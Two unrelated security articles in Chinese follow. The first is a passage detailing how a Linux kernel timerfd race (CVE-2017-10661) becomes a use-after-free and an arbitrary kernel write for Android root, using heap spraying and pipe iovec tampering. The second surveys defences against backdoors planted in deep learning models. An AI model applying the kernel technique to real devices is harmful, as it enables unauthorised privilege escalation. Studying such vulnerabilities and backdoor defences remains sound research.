这个漏洞存在于Linux内核代码 fs/timerfd.c的 **timerfd_setup_cancel** 函数中：
static void timerfd_setup_cancel(struct timerfd_ctx *ctx, int flags)
{
if ((ctx->clockid == CLOCK_REALTIME ||
ctx->clockid == CLOCK_REALTIME_ALARM) &&
(flags & TFD_TIMER_ABSTIME) && (flags & TFD_TIMER_CANCEL_ON_SET)) {
if (!ctx->might_cancel) { //[1][2]
ctx->might_cancel = true; //[3][4]
spin_lock(&cancel_lock);
list_add_rcu(&ctx->clist, &cancel_list); //[5][6]
spin_unlock(&cancel_lock);
}
} else if (ctx->might_cancel) {
timerfd_remove_cancel(ctx);
}
}
这里会有一个race
condition：假设两个线程同时对同一个ctx执行timerfd_setup_cancel操作，可能会出现这样的情况（垂直方向为时间线）：
Thread1 Thread2
[1]检查ctx->might_cancel,值为false
. [2]检查ctx->might_cancel,值为false
[3]将ctx->might_cancel赋值为true
. [4]将ctx->might_cancel赋值为true
[5]将ctx加入到cancel_list中
. [6]将ctx再次加入到cancel_list中
所以，这里其实是因为ctx->might_cancel是临界资源，而这个函数对它的读写并没有加锁，虽然在`if(!ctx->might_cancel)`和`ctx->might_cancel`的时间间隔很小，但是还是可以产生资源冲突的情况，也就导致了后面的问题：会对同一个节点执行两次`list_add_rcu`操作，这是一个非常严重的问题。
首先`cancel_list`是一个带头结点的循环双链表。`list_add_rcu`是一个头插法加入节点的操作，所以第一次调用后，链表结构如图：
而对我们的victim ctx再次调用list_add_rcu会变成什么样子呢？
static inline void list_add_rcu(struct list_head *new, struct list_head *head) {
__list_add_rcu(new, head, head->next);
}
static inline void __list_add_rcu(struct list_head *new,
struct list_head *prev, struct list_head *next)
{
new->next = next;
new->prev = prev;
rcu_assign_pointer(list_next_rcu(prev), new); //可以看做 prev->next = new;
next->prev = new;
}
要注意的是，第二次操作，我们的new == head->next，于是操作相当于：
victim->next = victim;
victim->prev = victim;
那么链表这时候就变成了这样：
可以看到victim的next指针和prev指针都指向了自己。这时候就会发生一系列问题，第一我们再也没办法通过链表来访问到victim
ctx后面的节点了(这点和漏洞利用关系不大)，第二我们也没办法将victim这个节点从链表上删除，尽管我们可以在kfree
ctx之前对其执行`list_del_rcu`操作：
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
prev->next = next;
}
static inline void __list_del_entry(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
}
static inline void list_del_rcu(struct list_head *entry)
{
__list_del_entry(entry);
//上一句可描述为：
//entry->next->prev = entry->prev;
//entry->prev->next = entry->next;
entry->prev = LIST_POISON2;
}
于是`list_del_rcu`执行之后，链表又变成了这样子：
所以尽管之后会执行kfree将victim
ctx给free掉，但是我们的`cancel_list`链表还保存着这段free掉的ctx的指针：`head->next`以及`ctx->prev`。所以如果后续有对`cancel_list`链表的一些操作，就会产生USE-AFTER-FREE的问题。
这也就是这个漏洞的成因了。
#### CAP_SYS_TIME下的利用
CORE TEAM的ppt里给出了这种利用方式。他们从victim
ctx释放后并没有真正从cancel_list拿下来，仍然可以通过遍历cancel_list访问到victim ctx这一点做文章。
对cancel_list的遍历在函数`timerfd_clock_was_set`:
void timerfd_clock_was_set(void)
{
ktime_t moffs = ktime_get_monotonic_offset();
struct timerfd_ctx *ctx;
unsigned long flags;
rcu_read_lock();
list_for_each_entry_rcu(ctx, &cancel_list, clist) {
if (!ctx->might_cancel)
continue;
spin_lock_irqsave(&ctx->wqh.lock, flags);
if (ctx->moffs.tv64 != moffs.tv64) {
ctx->moffs.tv64 = KTIME_MAX;
ctx->ticks++;
wake_up_locked(&ctx->wqh); //会走到 __wake_up_common函数
}
spin_unlock_irqrestore(&ctx->wqh.lock, flags);
}
rcu_read_unlock();
}
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
if (curr->func(curr, mode, wake_flags, key) && //curr->func
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
思路就是
* 等victim ctx被free之后，进行堆喷将victim ctx覆盖成自己精心构造的数据（这里可以用keyctl或者是sendmmsg实现）。
* 然后调用`timerfd_clock_was_set`函数，这时会遍历cancel_list，由于head->next就是我们的victim ctx，所以victim ctx会被这次操作引用到。数据构造得OK的话，会调用`wake_up_locked(&ctx->wqh)`，而ctx就是我们的victim ctx
* 这以后ctx->wqh是自己定义的数据，所以`\_\_wake\_up\_common`的curr，curr->func也是我们可以决定的。
* 所以执行到curr->func的时候，我们就控制了PC寄存器，而X0等于我们的curr
* 劫持了pc，之后找rop/jop就能轻松实现提权操作，这里不再多说。
为什么说这是CAP_SYS_TIME权限下的利用方法呢？因为`timerfd_clock_was_set`函数的调用链是这样：
timerfd_clock_was_set <-- clock_was_set <-- do_settimeofday <-- do_sys_settimeofday <--SYS_setttimeofday
用户态需要调用settimeofday这个系统调用来触发。而在`do_sys_settimeofday`函数里有对CAP_SYS_TIME的检查：
int do_sys_settimeofday(const struct timespec *tv, const struct timezone *tz)
{
...
error = security_settime(tv, tz); //权限检查
if (error)
return error;
...
if (tv)
return do_settimeofday(tv);
return 0;
}
static inline int security_settime(const struct timespec *ts,
const struct timezone *tz)
{
return cap_settime(ts, tz);
}
int cap_settime(const struct timespec *ts, const struct timezone *tz)
{
if (!capable(CAP_SYS_TIME)) //检查CAP_SYS_TIME
return -EPERM;
return 0;
}
所以我们如果想以这种方式来利用这个漏洞，就需要进程本身有CAP_SYS_TIME的权限，这也就限制了这种方法的适用范围。于是我们想要从0权限来利用这个漏洞，就得另辟蹊径。
#### pipe的TOCTTOU
在介绍0权限的利用方法思路之前，我觉得得先介绍下pipe的TOCTTOU机制，因为这个是接下来利用思路的一个基础。关于这部分的内容，也可以参考[shendi大牛的slide](https://github.com/retme7/My-Slides/blob/master/The-Art-of-Exploiting-Unconventional-Use-after-free-Bugs-in-Android-Kernel.pdf)
TOCTTOU : time of check to time of use
.写程序的时候通常都会在使用前，对要使用的数据进行一个检查。而这个检查的时间点，和使用的时间点之间，其实是有空隙的。如果能在这个时间空隙里，做到对已经check的数据的更改，那么就可能在use的时刻，使用到非法的数据。
pipe的readv /
writev就是这样一个典型。以readv为例，readv会在`do_readv_writev`的`rw_copy_check_uvector`函数里对用户态传进来的所有iovector进行合法性检查：
struct iovec {
void *iov_base;
size_t iov_len;
};
ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
unsigned long nr_segs, unsigned long fast_segs,
struct iovec *fast_pointer,
struct iovec **ret_pointer)
{
unsigned long seg;
ssize_t ret;
struct iovec *iov = fast_pointer;
...
if (nr_segs > fast_segs) {
iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); //[1]
...
}
if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
...
}
...
for (seg = 0; seg < nr_segs; seg++) {
void __user *buf = iov[seg].iov_base;
ssize_t len = (ssize_t)iov[seg].iov_len;
...
if (type >= 0
&& unlikely(!access_ok(vrfy_dir(type), buf, len))) { //[2]
ret = -EFAULT;
goto out;
}
...
}
}
可以看到这个检查函数做了两件事：
[1]如果iovector的个数比较多（大于8），就会kmalloc一段内存，然后将用户态传来的iovector拷贝进去。当然如果比较小，就直接把用户态传来的iovector放到栈上。
[2]对iovector进行合法性检查，确保所有的iovecor的iov_base都是用户态地址。
这里也就是pipe的time of check。
在检查通过之后，会去执行pipe_read函数，相信分析过CVE-2015-1805的朋友们都知道，pipe_read函数里对iovector的iov_base只会做是不是可写地址的检查，而不会做是不是用户态地址的检查，然后有数据就写入。pipe_read函数往iovector的iov_base里写入数据的时刻(__copy_to_user)，就是pipe的time
of use。
那么这个check 和
use的间隙是多长呢？这取决于我们什么时候往pipe的buffer里写入数据。因为pipe_read默认是阻塞的，如果pipe的buffer里没有数据，pipe_read就会一直被阻塞，直到我们调用writev往pipe的buffer写数据。
所以，pipe的time of check to time of use这个间隔，可以由我们自己控制。
如果在这个时间间隔有办法对iovector进行更改，那么就可能往非法地址写入数据：
那么，怎么才能在这个时间间隔，对iovector进行更改呢？
这当然要通过漏洞来实现：
1，堆溢出漏洞。前面分析知道，如果有8个以上的的iovctor，就会调用kmalloc来存储这些iovector。如果能有一个内核堆溢出漏洞，那么只要把堆布局好，就能让溢出的数据，该卸掉iovector的iov_base.
2，UAF漏洞。要知道，我们kmalloc的iovector也是有占位功能的，如果使用iovector进行堆喷，将free过的victim进行占位。然后触发UAF，如果这个use的操作，能对占位的iovector进行更改，那么也就实现了目的。
知道了pipe的TOCTTOU的基础，我们可以来重新思考下CVE-2017-10661。
#### 思考下链表操作与UAF
链表其实是个变化过程比较多的数据结构，对某节点的删除或者添加都会影响相邻的节点。那如果一个节点出现了问题，对它的相邻节点进行一系列操作会产生什么样的变化呢？在基于CVE-2017-10661将链表破坏之后，我在这里将给出两种情景。首先贴一张已经释放了victim
ctx之后，cancel_list的状态图吧：
victim ctx已经被free，但是head->next和ctx_A->prev仍然保留着这段内存的指针。那么：
###### 情景一：添加一个新的节点ctx_B
同样还是头插法，于是下面这几段代码会执行：
ctx_B->next = head->next;
ctx_B->prev = head;
head->next->prev = ctx_B; //这里等价于 victim_mem->data2 = ctx_B
head->next = ctx_B;
可以看到，这个添加操作（list_add_rcu）会对已经free了的内存进行操作，会将 **victim_mem->data2**赋值为ctx_B。语言总是没有图片来的直观，添加操作执行后链表的状态如图：
结合我们之前讨论的pipe
TOCTTOU，如果victim_mem刚好是由我们的pipe的iovector所占位，那么这里对data2的更改，可能就会对某个iov_base进行更改：iov_base
= ctx_B。那么这样就允许我们对ctx_B->list进行任意写入。
###### 情景二：删除节点ctx_A
删除操作会影响前后两个节点，我们假设ctx_A的next节点是ctx_C，那么就有：
ctx_A->prev->next = ctx_A->next;//等价于 victim_mem->data1 = ctx_C
ctx_A->next->prev = ctx_A->prev;//等价于 ctx_C->prev = victim_mem
ctx_A->prev = LIST_POISION2;
与情景1类似，这个删除操作（list_del_rcu），也会已经free了的内存进行操作，将victim_mem->data1赋值为ctx_C：
同样的，如果victim_mem刚好是由我们的pipe的iovector占位，对data1的更改，也可能改掉`iov_base:iov_base =
ctx_C`。这样也就能对ctx_C->list进行任意写入。
为什么要给出两种情景呢？因为我们需要考虑一个究竟是data1对应iov_base，还是data2对应iov_base。iovector的结构是这样：
struct iovec {
void *iov_base;
size_t iov_len;
};
64位下，struct
iovec是16字节大小，跟上面list结构的大小一样。于是data1和data2中必有一个是iov_base,一个是iov_len。而我们需要改的是iov_base。所以上述两种情景，根据具体情况就能找到一种适用的。
问题又来了，比如说情景二，能够对ctx_C->list进行任意写入又能做什么呢？
能够对双链表某节点的next,prev指针进行完全控制，是一件很恐怖的事情。因为在删除这个节点的时候，会导致一个很严重的问题。具体怎么回事我们看代码：
static inline void list_del_rcu(struct list_head *entry)
{
__list_del_entry(entry);
//上一句可描述为：
//entry->next->prev = entry->prev;
//entry->prev->next = entry->next;
entry->prev = LIST_POISON2;
}
假设我们将prev指针改为target_address，next指针改为target_value。那么上述代码就等价于：
*(uint64_t)(target_value + 8) = target_address;
*(uint64_t)(target_address) = target_value;
于是这导致了一个任意地址写入任意内容的问题。当然，写入的内容没那么任意，它的值必须也要是一个可写的地址。
#### 0权限下的利用
有了上述的讨论之后，我们利用的思路逐渐明朗。
我们的ctx是0xF8的大小，处于0x100的slab块里面，所以地址总是0地址对其。那么如果要做iovector进行占位，得到的地址也总是0地址对其，所以里面元素的iov_base也会是0地址对其。在我测试的机器（nexus6p）上，next指针偏移是0xE0，prev指针是0xE8。所以我们需要选择情景二：删除victim的next节点。那么我们的步骤应该是：‘
在创造victim ctx之前，将ctx_C加入cancel_list，然后将ctx_A加入cancel_list
赢得竞争，导致victim ctx被list_add_rcu两次
对victim ctx执行list_del_rcu操作，并将victim_ctx释放，此时cacncel_list是这样：
用iovector进行堆喷，使得其将victim mem占位：
这时pipe_read被阻塞，执行删除ctx_A的操作，会导致iov_base的更改，改成指向我们的ctx_C:
然后我们执行pipe_write，这时会导致ctx_C的next指针和prev指针被我们改写。next指针改写为target_value，prev指针改写为target_addr:
最后我们对ctx_C执行删除节点的操作，就能实现任意地址写任意内容了，当然写的内容不能那么任意。
在这之后，再进行提权是一件很容易的事情。这里简单描述两种做法：
1，target_addr设置为&ptmx_cdev->ops,target_value设置为0x30000000。这样我们在用户态0x30000000布置好函数指针，
后续操作就很容易了。修改task_prctl相关的也是一样的道理。
2，增加/修改地址转换表中的内存描述符。这个虽然说原理比较复杂，介绍起来可能比本文之前说的所有的内容还要长，但是实现起来却是很方便。像nexus6p这样的机器，kernel的第一级地址转换表的地址固定为0xFFFFFFC00007d000，在中添加一条合适的内存描述符，就能实现在用户态读取/修改kernel的text段的内容，实现kernel
patch。提权也就很轻松了，而且好处是不需要找各种各样的地址，自己读取kernel的内容，自己能计算出来，可以做成通用的root。不过这种方法在三星这种有RKP保护的机器上不适用，或者说得绕过才行。
然后，这个漏洞，其实还是可以转化为任意地址写任意内容，这次的写的内容可以任意，但是做法就不一样了。需要把iov_len做得长一点，把对ctx_C的写入转化为一个堆溢出的漏洞。然后达成目标。
江湖规矩放图：
最后，对于文中出现的问题，还请各路大牛加以斧正，欢迎技术交流：[email protected]
参考文档 1, <https://hitcon.org/2017/CMT/slide-files/d1_s3_r0.pdf>
2,
<https://android.googlesource.com/kernel/msm/+/0fecf48887cf173503612936bad2c85b436a5296%5E%21/#F0>
3,
<https://android.googlesource.com/kernel/msm/+/e7a3029ebf4175889e8bdb278fd9cf02a211118c/fs/read_write.c>
4, <https://github.com/retme7/My-Slides/blob/master/The-Art-of-Exploiting-Unconventional-Use-after-free-Bugs-in-Android-Kernel.pdf>
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 如何保护深度学习系统-后门防御
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
后门攻击是AI安全领域目前非常火热的研究方向，其涉及的攻击面很广，在外包阶段，攻击者可以控制模型训练过程植入后门，在协作学习阶段，攻击者可以控制部分参与方提交恶意数据实现攻击，甚至在模型训练完成后，对于训练好的模型也能植入后门模块，或者在将其部署于平台后也可以进行攻击，比如通过hook技术、row
hammer技术等。
随着攻击的研究逐渐深入，相关的防御方案也被提了出来，对于攻击者而言，接下来再要设计攻击方案，必须要考虑是否能够规避已知的防御方案，而对于防御者而言，需要考虑已有防御方案的缺陷，以及如何改正，才能进一步提高检测效率，不论是从哪方面来看，都有必要对目前典型的防御方案做一个全面的了解。
本文就会从样本和模型两个角度，介绍目前典型的方案，这里说的“典型”的标准是指引用量高，常被研究人员哪来作为对比使用，以及发在顶会订刊上的工作，限于篇幅，不可能面面俱到，但是从这些典型方案中基本能了解防御者的防御假设、设计思想等，对我们之后的工作具有参考价值。
## 防御
对于一个完整的AI系统而言，最重要的两个组件就是数据和模型，做攻击是从这两门着手，所以我们在分析防御方案时，也分别从数据(样本)和模型两个角度进行研究。
### 样本角度
从样本的角度来分析，可以分成两种，一种方案仅仅检测是否为毒化样本，另一种方案则是会对输入样本进行转换，使样本中可能存在的触发器失效，以实现防御。
**样本检测**
[1]认为对抗样本和毒化样本之间存在一些相似之处，都需要通过小扰动强化错误的预测输出，如下所示
左边是对抗样本，加上的扰动为对抗噪声；右边为毒化样本，加上的扰动为触发器。它们在推理过程中会表现异常，所以可以用类似的方法检测，所以研究人员将检测对抗样本的方法应用于检测毒化样本，根据毒化样本的模型敏感性、特征空间和激活空间中的行为等，确定了四种检测毒化样本的方法，对应的示意图分别如下
第一种是基于模型突变的：
首先设置一个较小的突变率检测模型是否为对抗样本，如果不是，则以较大的突变率继续，检测是否为毒化样本。
第二种，基于激活空间，其依据是毒化样本和良性样本在不同网络层的激活空间的行为是不同的。
第三种，基于核密度估计，该方法专注于特征空间的异常检测，在特征空间中，被错误分类到目标类别的毒化样本和属于目标类别的良性样本会具有不同的行为。
第四种，基于局部本征维（LID），其利用LID的估计来量化目标样本与正常样本之间的距离，因为毒化样本的LID值明显高于正常数据，所以可以用于检测。
[2]利用字典学习和稀疏逼近来描述良性样本的统计行为以及识别毒化样本。其框架组成如下所示
可以看到两个核心模块，分别是DCT分析器，以及特征分析器，对应来表征模型的输入空间和潜在表示，通过结合两个分析器的决策，实现毒化样本的识别。
其中DCT分析器是作为图像预处理的一个步骤，它会在频率域中检查所有输入的样本，以搜索良性样本中异常的可以频率成分，为此，首先将输入图像变换到频域，然后对提取的频率分量进行稀疏恢复，并使用稀疏逼近重建信号，接着检测异常重构错误，并生成一个具有非零值的二进制掩码，该值表示潜在的触发器携带区域，此外为了确保尺寸兼容，DCT分析器中还有一个最近邻上采样组件。
而特征分析器用于研究潜在特征中的模式，以发现异常，将其放置在模型的倒数第二层，以利用模型从输入图像中提取的所有视觉信息进行分类决策，其中的稀疏恢复模块的作用是1.对输入特征去噪和2.对重构错误进行异常检测以区分毒化样本。而降维模块是为了自适应调整特征大小，同时最大限度保留信号的信息内容。
其工作流程如下
[3]应用差分隐私提升异常值检测(outlier detection)和奇异值检测(novelty
detection)的效果，并应用于检测毒化样本，其理论分析比较繁琐，感兴趣的可以阅读原论文，我们这里就看实验结果
σ
=N/A表示训练的分类模型没有应用差分隐私。在干净的数据上，良性的准确性仍然很高。当投毒率为0.5%时，后门成功率只有一半左右，当投毒率为1%时，后门成功率为97.12%。从表2可以看出，差分隐私有效地限制了后门攻击的成功率，所有情况下的成功率都低于0.5%，而良性精度的准确率降低很小，但是可以显著提高检测性能。
[4]通过激活聚类的方法检测毒化样本，其通过分析训练数据导致的神经网络激活情况来确定训练数据是否被毒化，以及哪些样本是毒化样本。该方案背后的关键思想是，当毒化样本和正常样本都被分到目标类别时，模型做出这种决策的原因是不同的，对于正常样本而言，会根据学习到的输入特征并进行分类，而对于毒化样本人眼，会识别和原类别、触发器关联的特征，并进行分类。这种机制上的差异会在网络的激活中体现出来。如下图所示，显示的最后一个隐层的激活，将良性样本和毒化样本投影到他们的前三个主成分上。
图a显示了MNIST毒化数据集中类6的数据的激活情况，图b是LISA毒化数据集中限速类的激活情况，图c是Rotten Tomatoes movie
reviews数据集的负面类的激活情况，可以发现，毒化数据和良性数据会被激活分成两个不同的簇，相比之下，图d是良性数据集，其并没有被分成不同的簇。
[5]发现后门攻击会在神经网络学习的特征表示的协方差谱中留下可检测的痕迹，研究人员称之为光谱特征，并使用该特征对毒化样本进行检测并直接丢弃他们，，然后使用剩下的良性样本对模型进行重训练。该过程如下所示
首先使用数据集训练神经网络，然后对于每个类，都提取每个输入学到的表示，然后使用SVD,也就是奇异值分解算法对这些表示的协方差矩阵进行运算，并使用他们来计算每个样本的离群值分数，删除有高分的输入样本并进行重训练。
[6]故意对输入样本进行扰动，比如叠加各种图像模式，并观察模型会对扰动后的样本如何分类，如果分类的结果的熵值较低，则不符合良性样本低熵的特性。其示意图如下
将输入样本x复制N份，对每一份复制后的样本用不同的模式进行扰动，然后根据扰动后的样本被模型分类的结果，分析结果的熵值来判断输入样本是否为毒化样本，较低熵值的x则为毒化样本。因为对于毒化样本而言，不管输入图像受到怎样的强烈扰动，扰动得到的样本的预测往往是一致的，都会是目标类别。熵的计算表示如下
对于N份样本，总的熵计算如下
**样本转换**
[7]会分析模型接收的输入样本，并定位触发器后实现修复。该方案的背后的直觉可以用下图来说明
图像A的右下角存在触发器，尽管A的原样本属于C1，但是由于触发器的存在，此时会被分类为C2，而只要我们能够找到触发器的位置并覆盖它就可实现毒化样本的修复，这里的关键是如何定位触发器以及用什么进行覆盖，如果定位不好，就会像A’一样，修复是没有效果的，而至于用什么进行覆盖，最简单的办法就是使用整张图像的主色进行覆盖，图中A’’就是在定位触发器并用主色，即灰色进行覆盖，此时的图像就可以被正确分类为C1了。本文定位触发器的伪码表示如下
简单来说，将触发器阻断器放在图像的各个随机位置上，观察模型此时对图像的预测，如果与源图像不同，则说明该位置是触发器所在的区域。
应用该方案的效果是很明显的，下图是原图、毒化样本、以及应用该方案修复的样本的对比
我们以第二行为例，(e)所示的停车标志的毒化样本，而后门触发器是小的黄色正方形。图像的原样本如(d)所示。后门触发器，即(e)中的黄色方块，在(f)中被触发器阻挡器覆盖。值得注意的是，触发阻挡器的颜色对于抵抗后门触发的效果至关重要。例如，如果触发器阻挡器是黄色的，那么覆盖后门触发器不会改变对(d)中毒化图像的预测，从而使防御失败。所以作者使用后门图像的主色来构造触发阻挡器。这背后的直觉是，后门触发器的颜色不太可能与后门图像的主色调相同。因为通过使用图像的主色构造触发阻挡器，创建了一个与后门图像的干净版本(如(d))相似的固定图像(如(f))。
[8]是一个在模型运行期间进行防御的方案，能够对毒化样本进行转换使其不再具有触发效果。该方案的流程如下
Februus系统会去除毒化样本中的触发器，并修复移除的区域，然后将修图后的图像作为样本输入模型中进行预测。这里涉及到两个问题，怎么确定要移除的区域以及怎么修复被移除的区域。
针对第一个问题，我们使用可视化工具GradCAM定位触发器所在位置，定位之后使用中和色框进行替换，如下所示，在使用GradCAM定位到人脸脖子出的触发器后，进行移除
接着是图像修复阶段，因为直接使用上图中最后的图像输入给模型时会导致模型的性能降低10%左右，所以需要高保真度地重建被移除的区域的信息，我们使用了一种基于GAN的方法，G根据输入图像描绘mask区域，并由D是被图像是真实的还是描绘的，该过程如下所示
该方案的效果还是不错的，下图分别是原图、移除图、修复图的对比
[9]从相对于损失函数的输入梯度中提取触发器信号，并基于输入梯度和触发器信号的相似性，将毒化样本和良性样本进行区分，并且进一步使用触发器信号检测目标类别和原类别，然后将触发器信号叠加于所有数据并将毒化样本的标签给为原类别，用这部分数据集对模型进行重训练以消除后门。研究人员观察到后门攻击的两个现象：1.毒化模型包含后门神经元，它们只有在触发器或者说触发器模式存在时才会被激活；2.这些神经元的权重比其他神经元的权重大得多。并且有以下命题：损失函数E相对于输入xi的梯度与激活神经元的权重线性相关，其计算公式如下
作为防御最关键的一步就是从噪声输入梯度z中提取触发器信号，z如下所示
上式中的的u是z的二阶矩阵的特征向量，对应的是epislon以及||u||>0时的最大特征值。所以我们可以从被分为目标类的毒化样本、良性样本中提取出触发器信号u作为二阶矩阵的最大特征向量，而这一步可以通过对包含输入梯度z的矩进行奇异值分解得到
接着使用简单的高斯混合模型(GMM)聚类算法，根据输入梯度的第一个主成分值过滤毒化样本即可，该聚类的误差概率由下式给出
其中N是样本总数，Nerror是误分类的样本数量。接着构造数据集进行重训练即可。我们来看实验数据
上表中的neu代表是对模型进行重训练以消除后门，从表中的数据可以看出，重训练后毒化样本的准确率均在90%左右，实现了极大的提升。
### 模型角度
从模型的角度来做防御，关键点就是找到毒化模型和良性模型之间的差异，比如模型内部神经元激活的差异、样本误分类所需的扰动的差异等。
[10]通过结合剪枝和微调对去除毒化模型中的后门。BadNets的研究表明，毒化样本输入模型时，会激活良性样本输入时处于休眠状态的神经元，攻击者是利用这些神经元被用于识别触发器并最终触发后门行为。下图是良性样本和毒化样本分别输入模型时，最后一层卷积层神经元的平均激活。从下图的结果可以看到，后门神经元的激活在b图中非常明显。
所以我们可以将这些神经元清除以实现防御，该方案称为pruning，即剪枝，该方案虽然有效，但是也容易被绕过。仅使用微调进行防御也是如此，所以作者提出的方案结合两类技术，首先对后门模型进行剪枝，然后对剪枝后的模型进行微调，其背后的思想是通过剪枝去除后门神经元，通过微调恢复剪枝带来的准确率的下降。
[11]提出了第一个鲁棒、可扩展的模型后门检测和缓解技术，可以检测后门并恢复触发器实现后门检测，并使用输入过滤、剪枝、unlearning等方法实现缓解。
在检测后门方面，该方案的关键思想可以用下图表示
对于良性模型而言，需要更多的改动才能将B和C类的样本跨越决策边界移动到类A的区域中；而对于毒化模型而言，因为存在后门的影响，所以仅需更少的改动就可以将B和C类的样本误分类为A。所以只需要遍历所有的输出类别，找到是否输出为某个类别时需要明显较小的修改，就可以实现误分类。
在判断出模型存在后门后，我们可以逆向得到触发器，从下图可以看到，攻击者使用的触发器与逆向得到的触发器虽然在视觉上可能不太相似，但是在后门攻击使用的有效性上是一致的
利用触发器我们就可以检测出哪些神经元会被激活，所以就可以利用这一点检测并过滤所有会激活这些神经元的输入样本；此外通过从模型中去除与后门相关的神经元对模型进行修补以增强其鲁棒性。
[12]提出了第一个具有最小模型先验知识的黑盒木马检测方案，使用条件生成模型从查询模型中学习潜在触发器的概率分布，从而检测模型中是否存在后门。该方案背后的关键思想与[11]类似，如下所示
考虑有三个类别的分类问题，毒化样本生成的过程可以看做在原样本周围添加冗余，并将其标记为目标类别。设deltaAB是将A类数据移动到B类所需的扰动，图中其他的注记的含义以此类推，那么一个目标类别为A的毒化模型满足deltaA远小于deltaB和deltaC，但是对于良性模型而言，这三个值之间的差异较小。该方案的总体框架如下所示
首先使用模型逆向攻击生成包含所有类的替代训练集，然后训练cGAN生成触发器，并将查询模型作为鉴别器d
这里的关键是cGAN，其示意图如下
其中z是随机噪声，t是目标类别，G被训练用于学习触发器的分布，被查询的模型会将生成的触发器叠加于X上得到的样本预测为目标类别，最后使用触发器的扰动水平(变化幅度)作为异常检测的统计量，如果扰动水平异常的小，则该类别就是目标类别。
[13]将后门检测任务形式化为非凸优化问题，通过求解目标函数即可求解优化问题，不过它不是将后门检测直接建模为优化问题，而是在可解释技术下设计了一个新的目标函数，以更有效的方式检测后门的存在并恢复触发器。
给定一个毒化模型，检测触发器可以看做是在求解下面的优化问题
上式中M是mask，表示触发器的形状和位置；三角形是触发器pattern，表示触发器的颜色，将其进行操作就得到了触发器；x是矩阵形式的输入样本，xt是带有触发器的样本，即毒化样本，yt代表着目标类别。
如果模型是良性的，或者具有将xt误分类为yt的能力，在理想情况下，给定模型f和非目标类，我们不能通过上式解出mask和pattern；但是由于神经网络的非凸优化特性，我们总是可以求解的。对于良性模型而言，求解的结果是误报，而对于毒化模型而言，求解可以得到触发器。但是我们的目的是检测模型是否为毒化模型，如果是则恢复触发器，为此，需要解决误报的问题，本文就是通过设计的新的优化函数实现的，在新的函数中引入四个正则化项求解触发器，并利用这些正则化项设计新的度量从而确定模型是否存在后门。四个正则项分别为
而根据正则项设计的新的度量为：
利用四个正则项构建的新的优化函数，以及新的度量指标进行实验并与Neural Cleanse进行对比
从实验结果看出，不论是在precision还是recall，F1上，该方案的效果大多数情况下都是更好的。
[14]使用输出解释技术提取模型的知识，本质上利用的是良性模型和毒化模型对良性样本的输出解释存在巨大差异。它利用生成输出层的解释热图，良性模型和毒化模型生成的热图会有不同的特征度量解释贡献，如稀疏性、平滑性、持久性等，其分别表示为：
再联合利用这些特征，即
使用离群点检测方式得到离群点即可，因为作者通过观察每一个输出类的saliency
map注意到，在不同的输入图像之间，攻击类别的热力图是最稀疏、最平滑、最持久的。该方案的后门检测处理步骤的流程示意如下
它通过生成解释热图来解释分类器在不同良性图像和不同输出标签上的输出，output
explanation一列中的第三行中，当输出为攻击类别即pred=20时，后门模型有显著的可区别特征。
[15]认为后门行为抽象出来本质上可以用下图表示，c中当毒化样本输入时会有后门神经元输出较大激活从而导致误分类
基于此，[15]对一个神经元引入不同程度的刺激，分析其输出的激活如何变化，从而分析神经元内部的行为。无论输入是什么，会对某一特定输出标签输出高激活的神经元我们就认为是后门神经元。然后使用第一步刺激分析的结果，通过优化过程逆向得到后门触发器，以确认神经元确实是有问题的。完整的流程示意图如下所示
在图a中，进行刺激分析后得到它们的激活变化情况，可以看到神经元a出现了一个波峰，而神经元b则没有，所以神经元a可能是后门神经元，为了验证这一点，在图b中，基于优化的方法得到一个输入模式(其作用和触发器相同)，当其叠加于输入样本时，神经元a的激活会变大，从而导致误分类，而在图c中，通过在其他测试样本上应用该触发模式，还是会导致误分类，从而表明该模型确实被植入后门了。
[16]提出了用于高维无采样生成模型的最大熵阶近似器(MESA)，并用其恢复触发器的分布，并在此基础上，能够移除触发器，并对模型进行重训练。MESA的形象化表示如下
其主要是通过集成N个子模型G1,G2…来近似f，并让每个子模型Gi只学习f的一部分，f的划分采用阶梯近似的方法
下图则是MESA对触发器分布建模的形象化表示
从一批随机噪声开始，生成一批触发器，并将它们输入毒化模型以及带有另一批独立噪声的统计网络，这两个分支分别计算softmax输出和触发器的熵，使用合并后的损失来更新触发器和统计网络。
在不同a，B下生成的触发器分布以及ASR如图所示
我们来看看防御效果
这是对51种触发器应用该方案进行防御的效果，这里我们是通过评估触发器对重训练后的模型的ASR来判断防御性能好坏。
在这里，重复十次，并根据平均表现来排序结果。当α = 0.1， βi = 0.5, 0.8,
0.9，我们的防御把原始触发器的ASR从92%以上降低到9.1%。通过对51个触发器的平均计算，使用βi =
0.9的防御方法获得了最佳的后防御ASR=3.4%，这非常接近直接使用原始触发器进行模型再训练的理想防御方法的2.4%。作为对比，基线防御方案在其防御性能上表现出显著的随机性:尽管它在“easy”触发器(上图靠左边的触发器)上实现了与我们提出的防御相当的结果，但在“hard”触发器(上图靠右的触发器)上的结果与我们的方法相比在防御后的ASR上有巨大的差异。在差异最大的情况下时，我们提出的βi
= 0.9的防御方法在最坏情况下给出了5.9%的ASR，而基线ASR达到了51%以上，是所提出方法的8倍。结果表明，该方法显著提高了模型的鲁棒性。
## 总结
从后门攻击的对象来看，代码、数据、模型都可能会收到攻击者攻击，但是这些实际上是机器学习整个供应链中重要的环节，如果没有防御方案可以对其进行防御，则整个供应链都会受到影响。为了确保供应链的安全，就需要有针对性地进行防御。不过从本文归纳的经典方案来看，目前的防御方案大多数需要进行额外的训练得到新模型进行检测或者额外的计算、转换以识别毒化样本，这实际上增加了供应链终端也就是模型使用者的负担，因为MLaaS的提出就是为了解决终端用户计算能力不足、专业知识不够的情况，现在的防御方案却又要求在终端用户处进行防御，相当于降低了MLaaS的作用。所以在防御这块还是存在很多可以改进的地方，希望各位读者也能参与进来，为后门防御做出自己的贡献。
## 参考
